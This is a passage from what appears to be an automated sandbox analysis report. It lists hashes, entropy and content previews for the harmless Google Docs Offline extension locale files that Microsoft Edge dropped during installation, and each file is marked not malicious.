Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
